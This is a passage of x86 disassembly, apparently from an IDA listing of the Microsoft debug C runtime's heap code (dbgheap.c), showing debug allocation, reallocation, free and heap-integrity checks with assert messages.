push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n"
push 0
push 0
push 0
push 1
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_416C36
int 3 ; Trap to Debugger
loc_416C36: ; CODE XREF: sub_416B00+133j
xor edx, edx
test edx, edx
jnz short loc_416C17
xor eax, eax
jmp loc_416E0C
; ---------------------------------------------------------------------------
loc_416C43: ; CODE XREF: sub_416B00+115j
mov eax, [ebp+arg_4]
and eax, 0FFFFh
cmp eax, 4
jz short loc_416C90
cmp [ebp+arg_4], 1
jz short loc_416C90
mov ecx, [ebp+arg_4]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_416C90
cmp [ebp+arg_4], 3
jz short loc_416C90
loc_416C6A: ; CODE XREF: sub_416B00+18Ej
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 1
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_416C8A
int 3 ; Trap to Debugger
loc_416C8A: ; CODE XREF: sub_416B00+187j
xor edx, edx
test edx, edx
jnz short loc_416C6A
loc_416C90: ; CODE XREF: sub_416B00+14Ej
; sub_416B00+154j ...
mov eax, [ebp+arg_0]
add eax, 24h
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
push ecx
call sub_41BDF0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_416CB5
xor eax, eax
jmp loc_416E0C
; ---------------------------------------------------------------------------
loc_416CB5: ; CODE XREF: sub_416B00+1ACj
mov edx, dword_442C04
add edx, 1
mov dword_442C04, edx
cmp [ebp+var_C], 0
jz short loc_416D13
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_4]
mov dword ptr [eax+0Ch], 0FEDCBABCh
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+14h], 3
mov ecx, [ebp+var_4]
mov dword ptr [ecx+18h], 0
jmp loc_416DB3
; ---------------------------------------------------------------------------
loc_416D13: ; CODE XREF: sub_416B00+1C8j
mov edx, dword_492060
add edx, [ebp+arg_0]
mov dword_492060, edx
mov eax, dword_492068
add eax, [ebp+arg_0]
mov dword_492068, eax
mov ecx, dword_492068
cmp ecx, dword_49206C
jbe short loc_416D49
mov edx, dword_492068
mov dword_49206C, edx
loc_416D49: ; CODE XREF: sub_416B00+23Bj
cmp dword_492064, 0
jz short loc_416D5F
mov eax, dword_492064
mov ecx, [ebp+var_4]
mov [eax+4], ecx
jmp short loc_416D68
; ---------------------------------------------------------------------------
loc_416D5F: ; CODE XREF: sub_416B00+250j
mov edx, [ebp+var_4]
mov dword_49205C, edx
loc_416D68: ; CODE XREF: sub_416B00+25Dj
mov eax, [ebp+var_4]
mov ecx, dword_492064
mov [eax], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_8]
mov [eax+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+arg_C]
mov [edx+0Ch], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov [ecx+10h], edx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov [eax+14h], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov [edx+18h], eax
mov ecx, [ebp+var_4]
mov dword_492064, ecx
loc_416DB3: ; CODE XREF: sub_416B00+20Ej
push 4
xor edx, edx
mov dl, byte_442C0C
push edx
mov eax, [ebp+var_4]
add eax, 1Ch
push eax
call sub_4189A0
add esp, 0Ch
push 4
xor ecx, ecx
mov cl, byte_442C0C
push ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
lea ecx, [eax+edx+20h]
push ecx
call sub_4189A0
add esp, 0Ch
mov edx, [ebp+arg_0]
push edx
xor eax, eax
mov al, byte_442C0E
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
call sub_4189A0
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, 20h
loc_416E0C: ; CODE XREF: sub_416B00+DFj
; sub_416B00+13Ej ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416B00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_416E40
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E40 proc near ; CODE XREF: .text:00416E31p
; sub_41F930+2Ep ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
imul eax, [ebp+arg_0]
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_416A30
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_416E99
mov edx, [ebp+var_8]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
loc_416E80: ; CODE XREF: sub_416E40+57j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_4]
jnb short loc_416E99
mov edx, [ebp+var_C]
mov byte ptr [edx], 0
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_416E80
; ---------------------------------------------------------------------------
loc_416E99: ; CODE XREF: sub_416E40+2Fj
; sub_416E40+46j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_416E40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EA0 proc near ; CODE XREF: sub_4041AA+2Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_416EC0
add esp, 14h
pop ebp
retn
sub_416EA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EC0 proc near ; CODE XREF: sub_416EA0+11p
; sub_430740+1B7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 9
call sub_41BC90
add esp, 4
push 1
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_416F00
add esp, 18h
mov [ebp+var_4], eax
push 9
call sub_41BD30
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_416EC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F00 proc near ; CODE XREF: sub_416EC0+24p
; sub_417440+24p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_14], 0
cmp [ebp+arg_0], 0
jnz short loc_416F33
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_416A30
add esp, 10h
jmp loc_41740A
; ---------------------------------------------------------------------------
loc_416F33: ; CODE XREF: sub_416F00+14j
cmp [ebp+arg_14], 0
jz short loc_416F56
cmp [ebp+arg_4], 0
jnz short loc_416F56
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4174C0
add esp, 8
xor eax, eax
jmp loc_41740A
; ---------------------------------------------------------------------------
loc_416F56: ; CODE XREF: sub_416F00+37j
; sub_416F00+3Dj
mov eax, dword_442C00
and eax, 4
test eax, eax
jz short loc_416F92
loc_416F62: ; CODE XREF: sub_416F00+90j
call sub_417BD0
test eax, eax
jnz short loc_416F8C
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 239h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_416F8C
int 3 ; Trap to Debugger
loc_416F8C: ; CODE XREF: sub_416F00+69j
; sub_416F00+89j
xor ecx, ecx
test ecx, ecx
jnz short loc_416F62
loc_416F92: ; CODE XREF: sub_416F00+60j
mov edx, dword_442C04
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
cmp eax, dword_442C08
jnz short loc_416FA7
int 3 ; Trap to Debugger
loc_416FA7: ; CODE XREF: sub_416F00+A4j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
push 2
call off_442D18
add esp, 1Ch
test eax, eax
jnz short loc_41702C
cmp [ebp+arg_C], 0
jz short loc_416FFF
loc_416FD4: ; CODE XREF: sub_416F00+FBj
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
push offset aClientHookReAl ; "Client hook re-allocation failure at fi"...
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 1Ch
cmp eax, 1
jnz short loc_416FF7
int 3 ; Trap to Debugger
loc_416FF7: ; CODE XREF: sub_416F00+F4j
xor eax, eax
test eax, eax
jnz short loc_416FD4
jmp short loc_417025
; ---------------------------------------------------------------------------
loc_416FFF: ; CODE XREF: sub_416F00+D2j
; sub_416F00+123j
push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n"
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_41701F
int 3 ; Trap to Debugger
loc_41701F: ; CODE XREF: sub_416F00+11Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_416FFF
loc_417025: ; CODE XREF: sub_416F00+FDj
xor eax, eax
jmp loc_41740A
; ---------------------------------------------------------------------------
loc_41702C: ; CODE XREF: sub_416F00+CCj
cmp [ebp+arg_4], 0FFFFFFDBh
jbe short loc_41705E
loc_417032: ; CODE XREF: sub_416F00+155j
mov edx, [ebp+arg_4]
push edx
push offset aAllocationTooL ; "Allocation too large or negative: %u by"...
push 0
push 0
push 0
push 1
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_417051
int 3 ; Trap to Debugger
loc_417051: ; CODE XREF: sub_416F00+14Ej
xor eax, eax
test eax, eax
jnz short loc_417032
xor eax, eax
jmp loc_41740A
; ---------------------------------------------------------------------------
loc_41705E: ; CODE XREF: sub_416F00+130j
cmp [ebp+arg_8], 1
jz short loc_4170A6
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_4170A6
mov edx, [ebp+arg_8]
and edx, 0FFFFh
cmp edx, 2
jz short loc_4170A6
loc_417080: ; CODE XREF: sub_416F00+1A4j
push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"...
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 1
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_4170A0
int 3 ; Trap to Debugger
loc_4170A0: ; CODE XREF: sub_416F00+19Dj
xor eax, eax
test eax, eax
jnz short loc_417080
loc_4170A6: ; CODE XREF: sub_416F00+162j
; sub_416F00+170j ...
mov ecx, [ebp+arg_0]
push ecx
call sub_418030
add esp, 4
test eax, eax
jnz short loc_4170D7
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 261h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4170D7
int 3 ; Trap to Debugger
loc_4170D7: ; CODE XREF: sub_416F00+1B4j
; sub_416F00+1D4j
xor edx, edx
test edx, edx
jnz short loc_4170A6
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
cmp dword ptr [ecx+14h], 3
jnz short loc_4170F6
mov [ebp+var_14], 1
loc_4170F6: ; CODE XREF: sub_416F00+1EDj
cmp [ebp+var_14], 0
jz short loc_41713A
loc_4170FC: ; CODE XREF: sub_416F00+236j
mov edx, [ebp+var_8]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_417111
mov eax, [ebp+var_8]
cmp dword ptr [eax+18h], 0
jz short loc_417132
loc_417111: ; CODE XREF: sub_416F00+206j
push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"...
push 0
push 26Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_417132
int 3 ; Trap to Debugger
loc_417132: ; CODE XREF: sub_416F00+20Fj
; sub_416F00+22Fj
xor ecx, ecx
test ecx, ecx
jnz short loc_4170FC
jmp short loc_41719E
; ---------------------------------------------------------------------------
loc_41713A: ; CODE XREF: sub_416F00+1FAj
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_41715F
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp ecx, 1
jnz short loc_41715F
mov [ebp+arg_8], 2
loc_41715F: ; CODE XREF: sub_416F00+248j
; sub_416F00+256j ...
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_8]
and ecx, 0FFFFh
cmp eax, ecx
jz short loc_417198
push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
push 0
push 272h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_417198
int 3 ; Trap to Debugger
loc_417198: ; CODE XREF: sub_416F00+275j
; sub_416F00+295j
xor edx, edx
test edx, edx
jnz short loc_41715F
loc_41719E: ; CODE XREF: sub_416F00+238j
cmp [ebp+arg_14], 0
jz short loc_4171C9
mov eax, [ebp+arg_4]
add eax, 24h
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41C6D0
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4171C7
xor eax, eax
jmp loc_41740A
; ---------------------------------------------------------------------------
loc_4171C7: ; CODE XREF: sub_416F00+2BEj
jmp short loc_4171EC
; ---------------------------------------------------------------------------
loc_4171C9: ; CODE XREF: sub_416F00+2A2j
mov edx, [ebp+arg_4]
add edx, 24h
push edx
mov eax, [ebp+var_8]
push eax
call sub_41C620
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4171EC
xor eax, eax
jmp loc_41740A
; ---------------------------------------------------------------------------
loc_4171EC: ; CODE XREF: sub_416F00:loc_4171C7j
; sub_416F00+2E3j
mov ecx, dword_442C04
add ecx, 1
mov dword_442C04, ecx
cmp [ebp+var_14], 0
jnz short loc_417257
mov edx, [ebp+var_C]
mov eax, dword_492060
sub eax, [edx+10h]
mov dword_492060, eax
mov ecx, dword_492060
add ecx, [ebp+arg_4]
mov dword_492060, ecx
mov edx, [ebp+var_C]
mov eax, dword_492068
sub eax, [edx+10h]
mov dword_492068, eax
mov ecx, dword_492068
add ecx, [ebp+arg_4]
mov dword_492068, ecx
mov edx, dword_492068
cmp edx, dword_49206C
jbe short loc_417257
mov eax, dword_492068
mov dword_49206C, eax
loc_417257: ; CODE XREF: sub_416F00+2FFj
; sub_416F00+34Bj
mov ecx, [ebp+var_C]
add ecx, 20h
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
cmp eax, [edx+10h]
jbe short loc_41728F
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
sub edx, [ecx+10h]
push edx
xor eax, eax
mov al, byte_442C0E
push eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
add edx, [ecx+10h]
push edx
call sub_4189A0
add esp, 0Ch
loc_41728F: ; CODE XREF: sub_416F00+369j
push 4
xor eax, eax
mov al, byte_442C0C
push eax
mov ecx, [ebp+var_4]
add ecx, [ebp+arg_4]
push ecx
call sub_4189A0
add esp, 0Ch
cmp [ebp+var_14], 0
jnz short loc_4172C9
mov edx, [ebp+var_C]
mov eax, [ebp+arg_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_10]
mov [ecx+0Ch], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_10]
mov [eax+18h], ecx
loc_4172C9: ; CODE XREF: sub_416F00+3ACj
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
mov [edx+10h], eax
loc_4172D2: ; CODE XREF: sub_416F00+40Bj
cmp [ebp+arg_14], 0
jnz short loc_417307
cmp [ebp+arg_14], 0
jnz short loc_4172E6
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_8]
jz short loc_417307
loc_4172E6: ; CODE XREF: sub_416F00+3DCj
push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "...
push 0
push 2A8h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_417307
int 3 ; Trap to Debugger
loc_417307: ; CODE XREF: sub_416F00+3D6j
; sub_416F00+3E4j ...
xor edx, edx
test edx, edx
jnz short loc_4172D2
mov eax, [ebp+var_C]
cmp eax, [ebp+var_8]
jz short loc_41731B
cmp [ebp+var_14], 0
jz short loc_417323
loc_41731B: ; CODE XREF: sub_416F00+413j
mov eax, [ebp+var_4]
jmp loc_41740A
; ---------------------------------------------------------------------------
loc_417323: ; CODE XREF: sub_416F00+419j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx], 0
jz short loc_41733B
mov edx, [ebp+var_C]
mov eax, [edx]
mov ecx, [ebp+var_C]
mov edx, [ecx+4]
mov [eax+4], edx
jmp short loc_417377
; ---------------------------------------------------------------------------
loc_41733B: ; CODE XREF: sub_416F00+429j
; sub_416F00+46Aj
mov eax, dword_49205C
cmp eax, [ebp+var_8]
jz short loc_417366
push offset a_plastblockPol ; "_pLastBlock == pOldBlock"
push 0
push 2B7h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_417366
int 3 ; Trap to Debugger
loc_417366: ; CODE XREF: sub_416F00+443j
; sub_416F00+463j
xor ecx, ecx
test ecx, ecx
jnz short loc_41733B
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov dword_49205C, eax
loc_417377: ; CODE XREF: sub_416F00+439j
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jz short loc_41738F
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov [eax], edx
jmp short loc_4173CA
; ---------------------------------------------------------------------------
loc_41738F: ; CODE XREF: sub_416F00+47Ej
; sub_416F00+4BEj
mov eax, dword_492064
cmp eax, [ebp+var_8]
jz short loc_4173BA
push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock"
push 0
push 2C2h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4173BA
int 3 ; Trap to Debugger
loc_4173BA: ; CODE XREF: sub_416F00+497j
; sub_416F00+4B7j
xor ecx, ecx
test ecx, ecx
jnz short loc_41738F
mov edx, [ebp+var_C]
mov eax, [edx]
mov dword_492064, eax
loc_4173CA: ; CODE XREF: sub_416F00+48Dj
cmp dword_492064, 0
jz short loc_4173E1
mov ecx, dword_492064
mov edx, [ebp+var_C]
mov [ecx+4], edx
jmp short loc_4173E9
; ---------------------------------------------------------------------------
loc_4173E1: ; CODE XREF: sub_416F00+4D1j
mov eax, [ebp+var_C]
mov dword_49205C, eax
loc_4173E9: ; CODE XREF: sub_416F00+4DFj
mov ecx, [ebp+var_C]
mov edx, dword_492064
mov [ecx], edx
mov eax, [ebp+var_C]
mov dword ptr [eax+4], 0
mov ecx, [ebp+var_C]
mov dword_492064, ecx
mov eax, [ebp+var_4]
loc_41740A: ; CODE XREF: sub_416F00+2Ej
; sub_416F00+51j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_416F00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_417440
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417440 proc near ; CODE XREF: .text:00417431p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 9
call sub_41BC90
add esp, 4
push 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_416F00
add esp, 18h
mov [ebp+var_4], eax
push 9
call sub_41BD30
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_417440 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417480 proc near ; CODE XREF: sub_4013F1+10Ep
; sub_4013F1+116p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call sub_4174C0
add esp, 8
pop ebp
retn
sub_417480 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_4174F0
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4174C0 proc near ; CODE XREF: sub_416F00+47p
; sub_417480+9p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push 9
call sub_41BC90
add esp, 4
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4174F0
add esp, 8
push 9
call sub_41BD30
add esp, 4
pop ebp
retn
sub_4174C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4174F0 proc near ; CODE XREF: .text:004174A9p
; sub_4174C0+15p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, dword_442C00
and eax, 4
test eax, eax
jz short loc_417533
loc_417503: ; CODE XREF: sub_4174F0+41j
call sub_417BD0
test eax, eax
jnz short loc_41752D
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 3E1h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41752D
int 3 ; Trap to Debugger
loc_41752D: ; CODE XREF: sub_4174F0+1Aj
; sub_4174F0+3Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_417503
loc_417533: ; CODE XREF: sub_4174F0+11j
cmp [ebp+arg_0], 0
jnz short loc_41753E
jmp loc_4178D5
; ---------------------------------------------------------------------------
loc_41753E: ; CODE XREF: sub_4174F0+47j
push 0
push 0
push 0
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, [ebp+arg_0]
push eax
push 3
call off_442D18
add esp, 1Ch
test eax, eax
jnz short loc_417588
loc_41755D: ; CODE XREF: sub_4174F0+91j
push offset aClientHookFree ; "Client hook free failure.\n"
push offset aS_34 ; "%s"
push 0
push 0
push 0
push 0
call sub_41BF80
add esp, 18h
cmp eax, 1
jnz short loc_41757D
int 3 ; Trap to Debugger
loc_41757D: ; CODE XREF: sub_4174F0+8Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_41755D
jmp loc_4178D5
; ---------------------------------------------------------------------------
loc_417588: ; CODE XREF: sub_4174F0+6Bj
; sub_4174F0+CDj
mov edx, [ebp+arg_0]
push edx
call sub_418030
add esp, 4
test eax, eax
jnz short loc_4175B9
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 3F3h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_4175B9
int 3 ; Trap to Debugger
loc_4175B9: ; CODE XREF: sub_4174F0+A6j
; sub_4174F0+C6j
xor eax, eax
test eax, eax
jnz short loc_417588
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_4], ecx
loc_4175C8: ; CODE XREF: sub_4174F0+12Fj
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41761B
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 1
jz short loc_41761B
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41761B
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jz short loc_41761B
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 3F9h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_41761B
int 3 ; Trap to Debugger
loc_41761B: ; CODE XREF: sub_4174F0+E6j
; sub_4174F0+EFj ...
xor edx, edx
test edx, edx
jnz short loc_4175C8
mov eax, dword_442C00
and eax, 4
test eax, eax
jnz loc_4176F6
push 4
mov cl, byte_442C0C
push ecx
mov edx, [ebp+var_4]
add edx, 1Ch
push edx
call sub_417B40
add esp, 0Ch
test eax, eax
jnz short loc_417690
loc_41764D: ; CODE XREF: sub_4174F0+19Ej
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_442C10[ecx*4]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 1
call sub_41BF80
add esp, 20h
cmp eax, 1
jnz short loc_41768A
int 3 ; Trap to Debugger
loc_41768A: ; CODE XREF: sub_4174F0+197j
xor eax, eax
test eax, eax
jnz short loc_41764D
loc_417690: ; CODE XREF: sub_4174F0+15Bj
push 4
mov cl, byte_442C0C
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+20h]
push edx
call sub_417B40
add esp, 0Ch
test eax, eax
jnz short loc_4176F6
loc_4176B3: ; CODE XREF: sub_4174F0+204j
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, off_442C10[ecx*4]
push edx
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 1
call sub_41BF80
add esp, 20h
cmp eax, 1
jnz short loc_4176F0
int 3 ; Trap to Debugger
loc_4176F0: ; CODE XREF: sub_4174F0+1FDj
xor eax, eax
test eax, eax
jnz short loc_4176B3
loc_4176F6: ; CODE XREF: sub_4174F0+13Bj
; sub_4174F0+1C1j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jnz short loc_41776B
loc_4176FF: ; CODE XREF: sub_4174F0+249j
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_417714
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 0
jz short loc_417735
loc_417714: ; CODE XREF: sub_4174F0+219j
push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
push 0
push 40Eh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_417735
int 3 ; Trap to Debugger
loc_417735: ; CODE XREF: sub_4174F0+222j
; sub_4174F0+242j
xor ecx, ecx
test ecx, ecx
jnz short loc_4176FF
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, byte_442C0D
push ecx
mov edx, [ebp+var_4]
push edx
call sub_4189A0
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_41C8C0
add esp, 4
jmp loc_4178D5
; ---------------------------------------------------------------------------
loc_41776B: ; CODE XREF: sub_4174F0+20Dj
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 2
jnz short loc_417781
cmp [ebp+arg_4], 1
jnz short loc_417781
mov [ebp+arg_4], 2
loc_417781: ; CODE XREF: sub_4174F0+282j
; sub_4174F0+288j ...
mov edx, [ebp+var_4]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_4177AD
